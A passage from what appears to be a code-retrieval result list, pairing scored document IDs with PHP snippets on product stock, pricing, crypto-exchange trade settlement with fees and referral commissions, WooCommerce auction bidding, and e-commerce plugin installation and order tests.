"public function getForcedStock();", "title": "" }, { "docid": "e21b60a19dceb028b53f16190d1c57a7", "score": "0.43935803", "text": "public function getStockBloqueado()\n {\n return $this->stockBloqueado;\n }", "title": "" }, { "docid": "00cfece482644849e120c76e6dcaa4ea", "score": "0.4384262", "text": "public function getBien()\n {\n return $this->bien;\n }", "title": "" }, { "docid": "00cfece482644849e120c76e6dcaa4ea", "score": "0.4384262", "text": "public function getBien()\n {\n return $this->bien;\n }", "title": "" }, { "docid": "8a647ac6b32c2d9b5ce7978305a9efcf", "score": "0.43818578", "text": "public function getTypeRecharge() {\n \treturn parent::getTypeRecharge('PBUY');\n\t}", "title": "" }, { "docid": "ea3b895ce6cce3e2179c1e8cd5db43dd", "score": "0.43790847", "text": "abstract public function createProductA();", "title": "" }, { "docid": "e24572dfc3419efd1fc513bef01b70d0", "score": "0.4375138", "text": "public function getBusinessType() {\n return $this->businessType;\n }", "title": "" }, { "docid": "da30ff92e95e08bf7a25b36e2de4ab05", "score": "0.43523568", "text": "public function getProductPrice();", "title": "" }, { "docid": "dc9ac22484adf0f63fc6ba0fa6223503", "score": "0.43511802", "text": "function readBOF() { return $this->_bof; }", "title": "" }, { "docid": "d05447615d78aa6f623533318574033f", "score": "0.4344814", "text": "public function getStockConsignaBloqueado()\n {\n return $this->stockConsignaBloqueado;\n }", "title": "" }, { "docid": "5c24a1e049a9cc900e6be8cb515d0440", "score": "0.43441236", "text": "public function _binance_order_interal_update($primary_coin_id, $secondary_coin_id, $side, $tradeDetail, $quantity, $price, $newPopexStatus, $success_datetimestamp)\n {\n\n $success_datetime = date('Y-m-d H:i:s', $success_datetimestamp);\n\n $trade_amount = $this->DM->safe_multiplication([$price, $quantity]);\n\n if ($side == 'BUY') {\n // Buy order\n // ORDER UPDATE\n $buytrade = (object) $tradeDetail;\n\n $buyer_av_qty_after_trade = $this->DM->safe_minus([$buytrade->bid_qty_available, $quantity]);\n\n log_message('debug', 'buyer_av_qty_after_trade : ' . $buyer_av_qty_after_trade);\n\n\n $buyerPercent = $this->_getTakerFees($buytrade->user_id);\n $buyerTotalFees = $this->_calculateFeesAmount($quantity, $buyerPercent);\n\n log_message('debug', 'Buyer Percent : ' . $buyerPercent);\n log_message('debug', 'Buyer Total Fees : ' . $buyerTotalFees);\n\n $buyer_receiving_amount_after_fees = $this->DM->safe_minus([$quantity, $buyerTotalFees]);\n\n\n /**\n * Credit Fees to admin\n */\n log_message(\"debug\", \"---------------------------------------------\");\n log_message('debug', 'Start : Admin Fees Credit ');\n\n $adminPrimaryCoinBalanceDetail = $this->CI->WsServer_model->get_user_balance_by_coin_id($primary_coin_id, $this->admin_id);\n\n $referralCommissionPercentRate = $this->CI->WsServer_model->getReferralCommissionRate();\n\n $isBuyerReferredUser = $this->CI->WsServer_model->isReferredUser($buytrade->user_id);\n\n log_message(\"debug\", \"Is BUYER referred User : \" . $isBuyerReferredUser);\n\n // Check if BUYER user is referred user\n if ($isBuyerReferredUser && $this->DM->isZeroOrNegative($referralCommissionPercentRate) == false) {\n // Give 10% of commision to referral user Id\n $buyerReferralUserId = $this->CI->WsServer_model->getReferralUserId($buytrade->user_id);\n log_message(\"debug\", \"Referral Buyer User Id : \" . $buyerReferralUserId);\n\n $buyerReferralBalanceDetail = $this->CI->WsServer_model->get_user_balance_by_coin_id($primary_coin_id, $buyerReferralUserId);\n\n $referralCommission = $this->DM->safe_division([$buyerTotalFees, $referralCommissionPercentRate]);\n log_message(\"debug\", \"Referral Commission : \" . $referralCommission);\n\n $adminGetsAfterCommission = $this->DM->safe_minus([$buyerTotalFees, $referralCommission]);\n\n // REFERRAL USER\n $this->_referral_user_balance_update($buyerReferralUserId, $primary_coin_id, $referralCommission);\n // Add Referral User Balance Log\n $this->CI->WsServer_model->addBalanceLog(BALANCE_LOG_TYPE_TRADE_REFERRAL_CREDIT, $buyerReferralBalanceDetail->id, $buyerReferralUserId, $primary_coin_id, $referralCommission, 0);\n\n // ADMIN\n $this->CI->WsServer_model->credit_admin_fees_by_coin_id($primary_coin_id, $adminGetsAfterCommission);\n // Add Admin Balance Log\n $this->CI->WsServer_model->addBalanceLog(BALANCE_LOG_TYPE_TRADE_FEES_CREDIT, $adminPrimaryCoinBalanceDetail->id, $this->admin_id, $primary_coin_id, $adminGetsAfterCommission, 0);\n } else {\n\n $this->CI->WsServer_model->credit_admin_fees_by_coin_id($primary_coin_id, $buyerTotalFees);\n // Add Admin Balance Log\n $this->CI->WsServer_model->addBalanceLog(BALANCE_LOG_TYPE_TRADE_FEES_CREDIT, $adminPrimaryCoinBalanceDetail->id, $this->admin_id, $primary_coin_id, $buyerTotalFees, 0);\n }\n\n\n log_message('debug', 'End : Admin Fees Credit ');\n log_message(\"debug\", \"---------------------------------------------\");\n\n\n $buyupdate = array(\n 'bid_qty_available' => $buyer_av_qty_after_trade,\n // 'amount_available' => $buyer_av_bid_amount_after_trade,\n 'fees_amount' => $this->DM->safe_add([$buytrade->fees_amount, $buyerTotalFees]),\n 'status' => $newPopexStatus,\n );\n\n\n if ($buytrade->is_market) {\n // BUYER MARKET\n // 1. Update Average total Amount\n // 2. Update Average Price\n\n if ($this->DM->isGreaterThan($buytrade->bid_price, 0)) {\n $tPrice = $this->DM->safe_add([$buytrade->bid_price, $price]);\n $averagePrice = $this->DM->safe_division([$tPrice, 2]);\n } else {\n $averagePrice = $price;\n }\n\n if ($this->DM->isGreaterThan($buytrade->total_amount, 0)) {\n $tAmount = $this->DM->safe_add([$buytrade->total_amount, $trade_amount]);\n $averageTotalAmount = $this->DM->safe_division([$tAmount, 2]);\n } else {\n $averageTotalAmount = $trade_amount;\n }\n\n $buyupdate['total_amount'] = $averageTotalAmount;\n $buyupdate['bid_price'] = $averagePrice;\n } else {\n $buyer_av_bid_amount_after_trade = $this->DM->safe_minus([$buytrade->amount_available, $trade_amount]);\n log_message('debug', 'buyer_av_bid_amount_after_trade : ' . $buyer_av_bid_amount_after_trade);\n $buyupdate['amount_available'] = $buyer_av_bid_amount_after_trade;\n }\n\n log_message('debug', 'BUY TRADE UPDATE -> ' . json_encode($buyupdate));\n\n\n $buytraderlog = array(\n 'bid_id' => $buytrade->id,\n 'bid_type' => $buytrade->bid_type,\n 'complete_qty' => $quantity,\n 'bid_price' => $price,\n 'complete_amount' => $trade_amount,\n 'user_id' => $buytrade->user_id,\n 'coinpair_id' => $buytrade->coinpair_id,\n 'success_time' => $success_datetime,\n 'fees_amount' => $buyerTotalFees,\n 'available_amount' => $buytrade->is_market ? 0 : $buyer_av_bid_amount_after_trade,\n 'status' => $newPopexStatus,\n );\n\n\n log_message('debug', 'debug', 'BUY TRADER LOG -> ' . json_encode($buytraderlog));\n\n $this->CI->WsServer_model->update_order($buytrade->id, $buyupdate);\n\n if ($buytrade->is_market) {\n // NO HOLD USE : TRUE, Direct deduction & credit\n // BUYER WILL PAY SECONDARY COIN AMOUNT\n $this->CI->WsServer_model->get_debit_balance_new($buytrade->user_id, $secondary_coin_id, $trade_amount);\n\n // BUYER WILL GET PRIMARY COIN AMOUNT\n $this->CI->WsServer_model->get_credit_balance_new($buytrade->user_id, $primary_coin_id, $buyer_receiving_amount_after_fees);\n } else {\n\n // BUYER WILL GET PRIMARY COIN\n // THE SECONDARY AMOUNT BUYER HAS HOLD WE WILL BE DEDUCTING\n // AND PRIMARY COIN WILL BE CREDITED\n $this->_buyer_trade_balance_update($buytrade->user_id, $primary_coin_id, $secondary_coin_id, $buyer_receiving_amount_after_fees, $trade_amount);\n }\n\n $log_id = $this->CI->WsServer_model->insert_order_log($buytraderlog);\n\n // $this->after_successful_trade($buytrade->coinpair_id, $price, $quantity, $success_datetimestamp);\n\n $this->CI->WsServer_model->update_current_minute_OHLCV($buytrade->coinpair_id, $price, $quantity, $success_datetimestamp);\n } else if ($side == 'SELL') {\n // Sell orders\n\n $selltrade = (object) $tradeDetail;\n\n $seller_av_qty_after_trade = $this->DM->safe_minus([$selltrade->bid_qty_available, $quantity]);\n log_message('debug', 'seller_av_qty_after_trade : ' . $seller_av_qty_after_trade);\n\n $sellerPercent = $this->_getTakerFees($selltrade->user_id, $primary_coin_id);\n $sellerTotalFees = $this->_calculateFeesAmount($trade_amount, $sellerPercent);\n\n log_message('debug', 'Seller Fees Percent : ' . $sellerPercent);\n log_message('debug', 'Seller Total Fees : ' . $sellerTotalFees);\n\n\n $seller_receiving_amount_after_fees = $this->DM->safe_minus([$trade_amount, $sellerTotalFees]);\n\n\n\n /**\n * Credit Fees to admin\n */\n log_message(\"debug\", \"---------------------------------------------\");\n log_message('debug', 'Start : Admin Fees Credit ');\n\n $adminSecondaryCoinBalanceDetail = $this->CI->WsServer_model->get_user_balance_by_coin_id($secondary_coin_id, $this->admin_id);\n\n $referralCommissionPercentRate = $this->CI->WsServer_model->getReferralCommissionRate();\n\n $isSellerReferredUser = $this->CI->WsServer_model->isReferredUser($selltrade->user_id);\n\n log_message(\"debug\", \"Is SELLER referred User : \" . $isSellerReferredUser);\n\n // Check if BUYER user is referred user\n if ($isSellerReferredUser && $this->DM->isZeroOrNegative($referralCommissionPercentRate) == false) {\n // Give 10% of commision to referral user Id\n $sellerReferralUserId = $this->CI->WsServer_model->getReferralUserId($selltrade->user_id);\n log_message(\"debug\", \"Referral Buyer User Id : \" . $sellerReferralUserId);\n\n $sellerReferralBalanceDetail = $this->CI->WsServer_model->get_user_balance_by_coin_id($secondary_coin_id, $sellerReferralUserId);\n\n $referralCommission = $this->DM->safe_division([$sellerTotalFees, $referralCommissionPercentRate]);\n log_message(\"debug\", \"Referral Commission : \" . $referralCommission);\n\n $adminGetsAfterCommission = $this->DM->safe_minus([$sellerTotalFees, $referralCommission]);\n\n // REFERRAL USER\n $this->_referral_user_balance_update($sellerReferralUserId, $secondary_coin_id, $referralCommission);\n // Add Referral User Balance Log\n $this->CI->WsServer_model->addBalanceLog(BALANCE_LOG_TYPE_TRADE_REFERRAL_CREDIT, $sellerReferralBalanceDetail->id, $sellerReferralUserId, $secondary_coin_id, $referralCommission, 0);\n\n // ADMIN\n $this->CI->WsServer_model->credit_admin_fees_by_coin_id($secondary_coin_id, $adminGetsAfterCommission);\n // Add Admin Balance Log\n $this->CI->WsServer_model->addBalanceLog(BALANCE_LOG_TYPE_TRADE_FEES_CREDIT, $adminSecondaryCoinBalanceDetail->id, $this->admin_id, $secondary_coin_id, $adminGetsAfterCommission, 0);\n } else {\n\n $this->CI->WsServer_model->credit_admin_fees_by_coin_id($secondary_coin_id, $sellerTotalFees);\n // Add Admin Balance Log\n $this->CI->WsServer_model->addBalanceLog(BALANCE_LOG_TYPE_TRADE_FEES_CREDIT, $adminSecondaryCoinBalanceDetail->id, $this->admin_id, $secondary_coin_id, $sellerTotalFees, 0);\n }\n\n\n log_message('debug', 'End : Admin Fees Credit ');\n log_message(\"debug\", \"---------------------------------------------\");\n\n\n\n\n $sellupdate = array(\n 'bid_qty_available' => $seller_av_qty_after_trade,\n 'fees_amount' => $this->DM->safe_add([$selltrade->fees_amount, $sellerTotalFees]),\n 'status' => $newPopexStatus,\n );\n\n\n if ($selltrade->is_market) {\n // BUYER MARKET\n // 1. Update Average total Amount\n // 2. Update Average Price\n\n if ($this->DM->isGreaterThan($selltrade->bid_price, 0)) {\n $tPrice = $this->DM->safe_add([$selltrade->bid_price, $price]);\n $averagePrice = $this->DM->safe_division([$tPrice, 2]);\n } else {\n $averagePrice = $price;\n }\n\n if ($this->DM->isGreaterThan($selltrade->total_amount, 0)) {\n $tAmount = $this->DM->safe_add([$selltrade->total_amount, $trade_amount]);\n $averageTotalAmount = $this->DM->safe_division([$tAmount, 2]);\n } else {\n $averageTotalAmount = $trade_amount;\n }\n\n $sellupdate['total_amount'] = $averageTotalAmount;\n $sellupdate['bid_price'] = $averagePrice;\n } else {\n $seller_av_bid_amount_after_trade = $this->DM->safe_minus([$selltrade->amount_available, $trade_amount]);\n $sellupdate['amount_available'] = $seller_av_bid_amount_after_trade;\n }\n\n\n log_message('debug', 'SELL TRADE UPDATE -> ' . json_encode($sellupdate));\n\n $selltraderlog = array(\n 'bid_id' => $selltrade->id,\n 'bid_type' => $selltrade->bid_type,\n 'complete_qty' => $quantity,\n 'bid_price' => $price,\n 'complete_amount' => $trade_amount,\n 'user_id' => $selltrade->user_id,\n 'coinpair_id' => $selltrade->coinpair_id,\n 'success_time' => $success_datetime,\n 'fees_amount' => $sellerTotalFees,\n 'available_amount' => $selltrade->is_market ? 0 : $seller_av_bid_amount_after_trade,\n 'status' => PopulousWSSConstants::BID_PENDING_STATUS,\n );\n log_message('debug', 'SELL TRADER LOG ->' . json_encode($selltraderlog));\n\n $log_id = $this->CI->WsServer_model->insert_order_log($selltraderlog);\n log_message('debug', 'Log ID : ' . $log_id);\n\n $this->CI->WsServer_model->update_order($selltrade->id, $sellupdate);\n\n\n if ($selltrade->is_market) {\n // NO HOLD USE : TRUE, Direct deduction & credit\n // BUYER WILL PAY SECONDARY COIN AMOUNT\n $this->CI->WsServer_model->get_debit_balance_new($selltrade->user_id, $primary_coin_id, $quantity);\n\n // BUYER WILL GET PRIMARY COIN AMOUNT\n $this->CI->WsServer_model->get_credit_balance_new($selltrade->user_id, $secondary_coin_id, $seller_receiving_amount_after_fees);\n } else {\n\n $this->_seller_trade_balance_update($selltrade->user_id, $primary_coin_id, $secondary_coin_id, $quantity, $seller_receiving_amount_after_fees);\n }\n\n\n // Updating Current minute OHLCV\n $this->CI->WsServer_model->update_current_minute_OHLCV($selltrade->coinpair_id, $price, $quantity, $success_datetimestamp);\n }\n\n\n\n /**\n * =================\n * EVENTS\n * =================\n */\n\n try {\n\n $this->event_order_updated($tradeDetail['id'], $tradeDetail['user_id']);\n\n if ($log_id != null) {\n $this->event_trade_created($log_id);\n }\n\n $this->event_market_summary();\n } catch (\\Exception $e) {\n }\n }", "title": "" }, { "docid": "252e8549f38870bc313287d7a7fe19fd", "score": "0.4339613", "text": "function cost_per_liter($callback,$quantity){\n\treturn $callback / $quantity ;\n}", "title": "" }, { "docid": "0edc6b33132104a8114ae7dc445e6a3a", "score": "0.43375793", "text": "public function install()\r\n\t{\r\n\t\tinclude(dirname(__FILE__).'/sql-install.php');\r\n\t\tforeach ($sql as $s)\r\n\t\t if (!Db::getInstance()->Execute($s))\r\n\t\t\treturn false;\r\n\r\n\t\tif (!parent::install() || !$this->registerHook('payment') || !$this->registerHook('adminOrder') || !$this->registerHook('paymentReturn') || !$this->registerHook('orderConfirmation'))\r\n\t\t\treturn false;\r\n\r\n\r\n\t\t$this->registerHook('displayPayment');\r\n $this->registerHook('actionOrderStatusUpdate');\r\n\t\tif (!Configuration::get('BILLMATE_PAYMENT_ACCEPTED'))\r\n\t\t\tConfiguration::updateValue('BILLMATE_PAYMENT_ACCEPTED', $this->addState('Billmate : Payment accepted', '#DDEEFF'));\r\n\t\tif (!Configuration::get('BILLMATE_PAYMENT_PENDING'))\r\n\t\t\tConfiguration::updateValue('BILLMATE_PAYMENT_PENDING', $this->addState('Billmate : payment in pending verification', '#DDEEFF'));\r\n $include = array();\r\n $hooklists = Hook::getHookModuleExecList('displayBackOfficeHeader');\r\n foreach($hooklists as $hooklist)\r\n {\r\n if(!in_array($hooklist['module'],array('billmatebank','billmatecardpay','billmateinvoice'))){\r\n $include[] = true;\r\n }\r\n }\r\n\r\n if(in_array(true,$include))\r\n $this->registerHook('displayBackOfficeHeader');\r\n\r\n\t\t/*auto install currencies*/\r\n\t\t$currencies = array(\r\n\t\t\t'Euro' => array('iso_code' => 'EUR', 'iso_code_num' => 978, 'symbole' => '€', 'format' => 2),\r\n\t\t\t'Danish Krone' => array('iso_code' => 'DKK', 'iso_code_num' => 208, 'symbole' => 'DAN kr.', 'format' => 2),\r\n\t\t\t'krone' => array('iso_code' => 'NOK', 'iso_code_num' => 578, 'symbole' => 'NOK kr', 'format' => 2),\r\n\t\t\t'Krona' => array('iso_code' => 'SEK', 'iso_code_num' => 752, 'symbole' => 'SEK kr', 'format' => 2)\r\n\t\t);\r\n\r\n\t\t$languages = array(\r\n\t\t\t'Swedish' => array('iso_code' => 'se', 'language_code' => 'sv', 'date_format_lite' => 'Y-m-d', 'date_format_full' => 'Y-m-d H:i:s' , 'flag' => 'sweden.png'),\r\n\t\t\t'Online' => array('iso_code' => 'onl', 'language_code' => 'onl', 'date_format_lite' => 'Y-m-d', 'date_format_full' => 'Y-m-d H:i:s', 'flag' => 'sweden.png'),\r\n\t\t\t'Deutsch' => array('iso_code' => 'de', 'language_code' => 'de', 'date_format_lite' => 'Y-m-d', 'date_format_full' => 'Y-m-d H:i:s' , 'flag' => 'germany.png'),\r\n\t\t\t'Dutch' => array('iso_code' => 'nl', 'language_code' => 'nl', 'date_format_lite' => 'Y-m-d', 'date_format_full' => 'Y-m-d H:i:s' , 'flag' => 'netherlands.png'),\r\n\t\t\t'Finnish' => array('iso_code' => 'fi', 'language_code' => 'fi', 'date_format_lite' => 'Y-m-d', 'date_format_full' => 'Y-m-d H:i:s' , 'flag' => 'finland.jpg'),\r\n\t\t\t'Norwegian' => array('iso_code' => 'no', 'language_code' => 'no', 'date_format_lite' => 'Y-m-d', 'date_format_full' => 'Y-m-d H:i:s' , 'flag' => 'norway.png'),\r\n\t\t\t'Danish' => array('iso_code' => 'da', 'language_code' => 'da', 'date_format_lite' => 'Y-m-d', 'date_format_full' => 'Y-m-d H:i:s' , 'flag' => 'denmark.png'),\r\n\t\t);\r\n\r\n\t\tforeach ($currencies as $key => $val)\r\n\t\t{\r\n\t\t\tif (_PS_VERSION_ >= 1.5)\r\n\t\t\t\t$exists = Currency::exists($val['iso_code_num'], $val['iso_code_num']);\r\n\t\t\telse\r\n\t\t\t\t$exists = Currency::exists($val['iso_code_num']);\r\n\t\t\tif (!$exists)\r\n\t\t\t{\r\n\t\t\t\t$currency = new Currency();\r\n\t\t\t\t$currency->name = $key;\r\n\t\t\t\t$currency->iso_code = $val['iso_code'];\r\n\t\t\t\t$currency->iso_code_num = $val['iso_code_num'];\r\n\t\t\t\t$currency->sign = $val['symbole'];\r\n\t\t\t\t$currency->conversion_rate = 1;\r\n\t\t\t\t$currency->format = $val['format'];\r\n\t\t\t\t$currency->decimals = 1;\r\n\t\t\t\t$currency->active = true;\r\n\t\t\t\t$currency->add();\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\tCurrency::refreshCurrencies();\r\n\t\t\r\n\t\t$version = str_replace('.', '', _PS_VERSION_);\r\n\t\t$version = Tools::substr($version, 0, 2);\r\n\t\t\r\n\t\tforeach ($this->countries as $key => $val)\r\n\t\t{\r\n\t\t\t$country = new Country(Country::getByIso($key));\r\n\t\t\t$country->active = true;\r\n\t\t\t$country->update();\r\n\t\t}\r\n\t\t/* The hook \"displayMobileHeader\" has been introduced in v1.5.x - Called separately to fail silently if the hook does not exist */\r\n\t\treturn true;\r\n\t}", "title": "" }, { "docid": "0facbd209b6ce996b7c690c1f332af8e", "score": "0.43236086", "text": "public function consumption(){\n $r=R::find('installations','user_id=?',[$_SESSION['id']]);\n $cons=0;\n foreach ($r as $item) {\n $findCons=R::findOne('consumption','product_id=? order by timestamp desc',[$item->getProperties()['product_id']]);\n $cons+=$findCons->getProperties()['wh'];\n }\n return $cons/1000;\n }", "title": "" }, { "docid": "df0277987962be991b9d1d3078d3a78c", "score": "0.43226057", "text": "public function buy()\n\t{\n\t\t\n\t}", "title": "" }, { "docid": "f7d26cf975b226e57d4ac3ee8a43b3ba", "score": "0.43125492", "text": "public function getIsInStock();", "title": "" }, { "docid": "54eef4aea32a519f0e0eb8a7bbbf5393", "score": "0.43115637", "text": "public function paymentFeatureSupports(Entity\\Model\\Bundle $bundle, $planType = 'base')\n {\n return false;\n }", "title": "" }, { "docid": "28886e3aaf4fbe15c6b68f76f2b3ee6a", "score": "0.43075126", "text": "function calculate($Quantity, $selectproduct)\n{\n\tif ($selectproduct == \"Das Keyboard\")\n\t\t$result =($Quantity * 100);\n\tif ($selectproduct == \"AMD Computer Desktop\")\n\t\t$result = ($Quantity * 300);\n\tif ($selectproduct ==\"Logitech Wireless Mouse\")\n\t\t$result = ($Quantity * 30);\n\tif ($selectproduct == \"Sony Stereo Headphones\")\n\t\t$result =($Quantity * 20);\n\treturn $result;\n}", "title": "" }, { "docid": "9c981e67c00b1aea812b80bf99586c71", "score": "0.43055052", "text": "function auction_sealed_placebid($product_data, $bid){\n\t\t$current_user = wp_get_current_user();\n\n\t\t$product_id = $product_data->get_id();\n\n\t\t$auction_type = $product_data->get_auction_type();\n\t\t\n\t\t// Check if bid is needed\n\t\tif ( ($product_data -> is_user_biding($current_user->ID) > 0 ) && get_option( 'simple_auctions_curent_bidder_can_bid') !== 'yes') {\n\t\n\t\t\twc_add_notice(sprintf(__('You already placed bid for this auction! ', 'wc_simple_auctions'), $product_data -> get_title()));\n\t\t\treturn false;\n\t\t\t\t\n\t\t}\n\n\t\t\n\t\t\n\t\tif ($auction_type == 'normal') {\n\n\t\t\tif ( !empty($product_data->get_auction_start_price())) {\n\n\t\t\t\tif ($product_data->get_auction_start_price() > $bid) {\n\t\t\t \twc_add_notice(sprintf(__('Your bid for &quot;%s&quot; is smaller than the minimum bid. Your bid must be at least %s ', 'wc_simple_auctions'), $product_data -> get_title(),wc_price($product_data->get_auction_start_price() )),'error');\n\t\t\t\t\treturn false;\n\t\t\t\t} \n\t\t\t}\n\n\n\t\t\tif ( $this->bid > (float)$product_data -> get_curent_bid()) {\n\t\t\t\tupdate_post_meta($product_id, '_auction_current_bid', $this->bid);\n\t\t\t\tupdate_post_meta($product_id, '_auction_current_bider', $current_user->ID);\n\t\t\t}\n\n\n\t\t\t\n\t\t\t\t\t\n\t\t\tupdate_post_meta($product_id, '_auction_bid_count', absint($product_data->get_auction_bid_count() + 1));\n\t\t\t\t\t\n\t\t\t$log_id = $this->log_bid($product_id, $bid, $current_user);\n\t\t\tdo_action( 'woocommerce_simple_auctions_place_sealedbid', array( 'product_id' => $product_id, 'bid' => $bid, 'current_user' => $current_user , 'log_id' => $log_id));\n\n\n\n\n\t\t} elseif ($auction_type == 'reverse'){\n\n\t\t\tif ( !empty($product_data->get_auction_start_price())) {\n\n\t\t\t\tif ($product_data->get_auction_start_price() < $bid) {\n\t\t\t \twc_add_notice(sprintf(__('Your bid for &quot;%s&quot; is bigger than the maximum bid. Your bid must be at least %s ', 'wc_simple_auctions'), $product_data -> get_title(),wc_price($product_data->get_auction_start_price() )),'error');\n\t\t\t\t\treturn false;\n\t\t\t\t} \n\t\t\t}\t\n\n\n\t\t\tif ( $this->bid < (float)$product_data -> get_curent_bid()) {\n\t\t\t\tupdate_post_meta($product_id, '_auction_current_bid', $this->bid);\n\t\t\t\tupdate_post_meta($product_id, '_auction_current_bider', $current_user->ID);\n\t\t\t}\n\t\t\t\t\t\n\t\t\tupdate_post_meta($product_id, '_auction_bid_count', absint($product_data->get_auction_bid_count() + 1));\n\t\t\t\t\t\n\t\t\t$log_id = $this -> log_bid($product_id, $bid, $current_user);\n\t\t\tdo_action( 'woocommerce_simple_auctions_place_sealedbid', array( 'product_id' => $product_id, 'bid' => $bid, 'current_user' => $current_user, 'log_id' => $log_id ));\n\n\n\t\t} else{\n\t\t\twc_add_notice(sprintf(__('There was no bid', 'wc_simple_auctions'), $product_data -> get_title()),'error');\n\t\t\treturn false;\n\n\t\t}\n\n\t\tdo_action('woocommerce_simple_auctions_place_bid', array( 'product_id' => $product_id ));\n\t\treturn true;\n\n\n\t}", "title": "" }, { "docid": "63e69ef7c68dffd80ef5d072704bfff9", "score": "0.43022436", "text": "public function getDiscountedPricePerQuantity();", "title": "" }, { "docid": "c43124f0959a8f735be03241355ccd7b", "score": "0.43007094", "text": "public function getMaximizeBuyOrSell() {\n return $this->_MaximizeBuyOrSell;\n }", "title": "" }, { "docid": "e028d5f6ee27729d445fb42178fc4b1d", "score": "0.42992607", "text": "function itemSubtotal($price, $quantity)\n{\n $subtotal = $price * $quantity;\n\n return $subtotal;\n}", "title": "" }, { "docid": "2cc9aaddbe5db569a68f5210f35de17a", "score": "0.4291433", "text": "public function testAlternanceBCB() {$enchainement = new \\mock\\ThalassaWeb\\BarcodeHelper\\code128\\Enchainement;\n $this->calling($enchainement)->getLastSubset = 'B';\n // /PT/az12345za\n $this->calling($enchainement)->getValeurs = [104,15,48,52,15,65,90,17,99,23,45,100,90,65];\n $this->given($this->newTestedInstance)\n ->then\n ->string($this->testedInstance->getCleControle($enchainement))\n ->isEqualTo(\"2\")\n ;\n }", "title": "" }, { "docid": "fcaf87cd6b3f0f9ee60b5ffb127faac5", "score": "0.42908782", "text": "public function isManageStock(): bool;", "title": "" }, { "docid": "18e9f5c8f4f1a6ca524ddcc210b8c77f", "score": "0.42891297", "text": "function buyThing(Buyable $thingToBuy){\r\n\t$price = $thingToBuy->getPrice();\r\n\t\r\n\t//..some logic to charge it to a bank account perhaps\r\n\t\r\n\t//..notify the stockroom database that it's been sold\r\n\t$thingToBuy->notifyStockRoom();\r\n\t\r\n\t//..display a messager to the user congratulating them on their purchase.\r\n\techo \"Thanks for buying \".$thingToBuy->getDescription().\"<br/>\";\r\n}", "title": "" }, { "docid": "4d69273152cadff5025bbdeea9b9585e", "score": "0.4286246", "text": "public function testOrderB2B($uuid)\n {\n // echo \"Running test order with uuid: {$uuid}\\n\";\n $order_id = floor(time() * (rand(0,1000)/100*10));\n $checkUuid = $uuid;\n $order = new OrderRequest();\n $order->setWorkflownumber($this->workflow)\n ->setOrdernumber($order_id)\n ->setCompanyname('Billink Unit Test')\n ->setChamberOfCommerce('KvK12345')\n ->setDate(date(\"Y-m-d\"))\n ->setType('B')\n ->setFirstname('T')\n ->setLastname('Test')\n ->setInitials('T')\n ->setSex('M')\n ->setStreet('straat')\n ->setHousenumber(1)\n ->setHouseExtension('a')\n ->setPostalCode('1234AA')\n ->setCountryCode('NL')\n ->setCity('plaats')\n ->setDeliveryStreet('straat')\n ->setDeliveryHousenumber(1)\n ->setDeliveryHouseExtension('a')\n ->setDeliveryPostalcode('1234AA')\n ->setDeliveryCountrycode('NL')\n ->setDeliveryCity('Plaats')\n ->setDeliveryAddressFirstname('T')\n ->setDeliveryAddressLastname('Test')\n ->setPhoneNumber('0612345678')\n ->setBirthdate('01-01-1980')\n ->setEmail('[email protected]')\n ->setIp('127.0.0.1')\n ->setAdditionalText('Additionele tekst')\n ->setTrackAndTrace('123verzondenmet')\n ->setVariable1('var1')\n ->setVariable2('var1')\n ->setVariable3('var1')\n ->setDebtorNumber('Cust1234')\n ->setVatnumber('btw.1231.3231123.123')\n ->setCurrency('EUR')\n ->setState('State')\n ->setLocality('Locality')\n ->setCheckUuid($checkUuid);\n \n // order items can be added in several ways.\n $order->addItem(new OrderItem([\n 'code' => 'product-a-b2b',\n 'description' => 'Product A',\n 'orderquantity' => 1,\n 'priceincl' => 12.09,\n 'vat' => 1.21\n ]));\n $orderItem = new OrderItem();\n $orderItem->setCode('product-b-b2b')\n ->setDescription('Product B')\n ->setOrderQuantity(1)\n ->setPrice(14.11)\n ->setVat(21);\n $order->addItem($orderItem);\n $order->setOrderItems([\n new OrderItem([\n 'code' => 'product-c-b2b',\n 'description' => 'Product C',\n 'orderquantity' => 1,\n 'priceincl' => 12.09,\n 'vat' => 1.21\n ])\n ]);\n \n #echo $order->toXml();\n $response = $this->client->simpleOrder($order);\n $this->assertEquals(200, $response->getCode());\n return $order_id;\n }", "title": "" }, { "docid": "9c6a9b05727ca5cd6d09b1b49da2f96b", "score": "0.42745355", "text": "function woo_bto_process_bundle_meta( $post_id ) {\n\n\t\tglobal $woocommerce_errors, $woocommerce;\n\n\t\t// Composite Product Pricing\n\n\t\t$date_from = ( isset( $_POST['_sale_price_dates_from'] ) ) ? $_POST['_sale_price_dates_from'] : '';\n\t\t$date_to = ( isset( $_POST['_sale_price_dates_to'] ) ) ? $_POST['_sale_price_dates_to'] : '';\n\n\t\t// Dates\n\t\tif ($date_from) :\n\t\t\tupdate_post_meta( $post_id, '_sale_price_dates_from', strtotime( $date_from ) );\n\t\telse :\n\t\t\tupdate_post_meta( $post_id, '_sale_price_dates_from', '' );\n\t\tendif;\n\n\t\tif ($date_to) :\n\t\t\tupdate_post_meta( $post_id, '_sale_price_dates_to', strtotime( $date_to ) );\n\t\telse :\n\t\t\tupdate_post_meta( $post_id, '_sale_price_dates_to', '' );\n\t\tendif;\n\n\t\tif ($date_to && !$date_from) :\n\t\t\tupdate_post_meta( $post_id, '_sale_price_dates_from', strtotime( 'NOW', current_time( 'timestamp' ) ) );\n\t\tendif;\n\n\t\t// Update price if on sale\n\t\tif ( $_POST['_sale_price'] != '' && $date_to == '' && $date_from == '' ) :\n\t\t\tupdate_post_meta( $post_id, '_price', stripslashes( $_POST['_sale_price'] ) );\n\t\telse :\n\t\t\tupdate_post_meta( $post_id, '_price', stripslashes( $_POST['_regular_price'] ) );\n\t\tendif;\n\n\t\tif ( $date_from && strtotime( $date_from ) < strtotime( 'NOW', current_time( 'timestamp' ) ) ) :\n\t\t\tupdate_post_meta( $post_id, '_price', stripslashes($_POST['_sale_price']) );\n\t\tendif;\n\n\t\tif ($date_to && strtotime( $date_to ) < strtotime('NOW', current_time('timestamp'))) :\n\t\t\tupdate_post_meta( $post_id, '_price', stripslashes( $_POST['_regular_price'] ) );\n\t\t\tupdate_post_meta( $post_id, '_sale_price_dates_from', '');\n\t\t\tupdate_post_meta( $post_id, '_sale_price_dates_to', '');\n\t\tendif;\n\n\n\t\t// Per-Item Pricing\n\n\t\tif ( isset( $_POST['_per_product_pricing_bto'] ) ) {\n\t\t\tupdate_post_meta( $post_id, '_per_product_pricing_bto', 'yes' );\n\t\t\tdelete_post_meta( $post_id, '_regular_price' );\n\t\t\tdelete_post_meta( 